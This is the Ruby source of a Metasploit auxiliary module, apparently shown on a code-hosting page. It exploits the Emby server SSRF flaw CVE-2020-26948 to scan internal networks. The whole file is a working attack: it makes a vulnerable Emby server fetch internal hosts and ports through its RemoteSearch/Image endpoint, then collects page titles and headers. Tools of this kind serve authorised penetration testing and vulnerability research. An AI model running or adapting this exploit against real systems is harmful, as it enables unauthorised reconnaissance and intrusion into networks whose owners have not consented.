107 lines
4.2 KiB
Ruby
107 lines
4.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Emby SSRF HTTP Scanner',
|
|
'Description' => 'Generates a `GET` request to the provided web servers and executes an SSRF against
|
|
the targeted EMBY server. Returns the server header, HTML title attribute and
|
|
location header (if set). This is useful for rapidly identifying web applications
|
|
on the internal network using the Emby SSRF vulnerability (CVE-2020-26948).',
|
|
'Author' => 'Btnz',
|
|
'License' => MSF_LICENSE,
|
|
'Disclosure Date' => '2020-10-01',
|
|
'Notes' => {
|
|
'Stability' => [],
|
|
'SideEffects' => [],
|
|
'Reliability' => [],
|
|
'RelatedModules' => ['auxiliary/scanner/http/emby_version_ssrf'],
|
|
},
|
|
'References' => [
|
|
['CVE', '2020-26948'],
|
|
['URL', 'https://github.com/btnz-k/emby_ssrf']
|
|
]
|
|
)
|
|
|
|
deregister_options('VHOST', 'RPORT', 'SNAPLEN', 'SSL')
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [false, 'The URI of the Emby Server', '/']),
|
|
OptBool.new('STORE_NOTES', [true, 'Store the information in notes.', true]),
|
|
OptBool.new('SHOW_TITLES', [true, 'Show the titles on the console as they are grabbed', true]),
|
|
OptString.new('EMBY_SERVER', [true, 'Emby Web UI IP to use', '']),
|
|
OptInt.new('EMBY_PORT', [true, 'Web UI port for Emby Server', '8096']),
|
|
OptString.new('PORTS', [true, 'Ports to scan', '80,8080,8081,8888'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def run_host(target_host)
|
|
# Do some checking to ensure data is submitted
|
|
# Also converts ports string to list
|
|
dports = Rex::Socket.portspec_crack(datastore['PORTS'])
|
|
raise Msf::OptionValidateError, ['PORTS'] if dports.empty?
|
|
|
|
# loop through the ports
|
|
dports.each do |p|
|
|
vprint_status("Attempting SSRF with target #{target_host}:#{p}")
|
|
uri = "/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://#{target_host}:#{p}"
|
|
# not using send_request_cgi due to difference between RHOSTS and EMBY_SERVER
|
|
res = Net::HTTP.get_response(datastore['EMBY_SERVER'], uri, datastore['EMBY_PORT'])
|
|
|
|
# Check for Response
|
|
if res.nil?
|
|
vprint_error("http://#{target_host}:#{p} - No response")
|
|
next
|
|
end
|
|
|
|
# Retrieve the headers to capture the Location and Server header
|
|
server_header = res['server']
|
|
location_header = res['location']
|
|
|
|
# Check to see if the captured headers are populated
|
|
if server_header.nil? && location_header.nil?
|
|
vprint_error("#{target_host}:#{p} No HTTP headers")
|
|
end
|
|
|
|
# If the body is blank, just stop now as there is no chance of a title
|
|
vprint_error("#{target_host}:#{p} No webpage body") if res.body.nil?
|
|
|
|
# Very basic, just match the first title tag we come to. If the match fails,
|
|
# there is no chance that we will have a title
|
|
rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)
|
|
unless rx
|
|
vprint_error("#{target_host}:#{p} No webpage title")
|
|
next
|
|
end
|
|
|
|
# Last bit of logic to capture the title
|
|
rx[:title].strip!
|
|
if rx[:title].empty?
|
|
vprint_error("#{target_host}:#{p} No webpage title")
|
|
next
|
|
end
|
|
|
|
rx_title = Rex::Text.html_decode(rx[:title])
|
|
if datastore['SHOW_TITLES']
|
|
print_good("#{target_host}:#{p} Title: #{rx_title}")
|
|
print_good("#{target_host}:#{p} HTTP Code: #{res.code}")
|
|
print_good("#{target_host}:#{p} Location Header: #{location_header}")
|
|
print_good("#{target_host}:#{p} Server Header: #{server_header}")
|
|
end
|
|
if datastore['STORE_NOTES']
|
|
notedata = { code: res.code, port: p, server: server_header, title: rx_title, redirect: location_header }
|
|
report_note(host: target_host, port: p, type: 'http.title', data: notedata, update: :unique_data)
|
|
end
|
|
end
|
|
end
|
|
end
|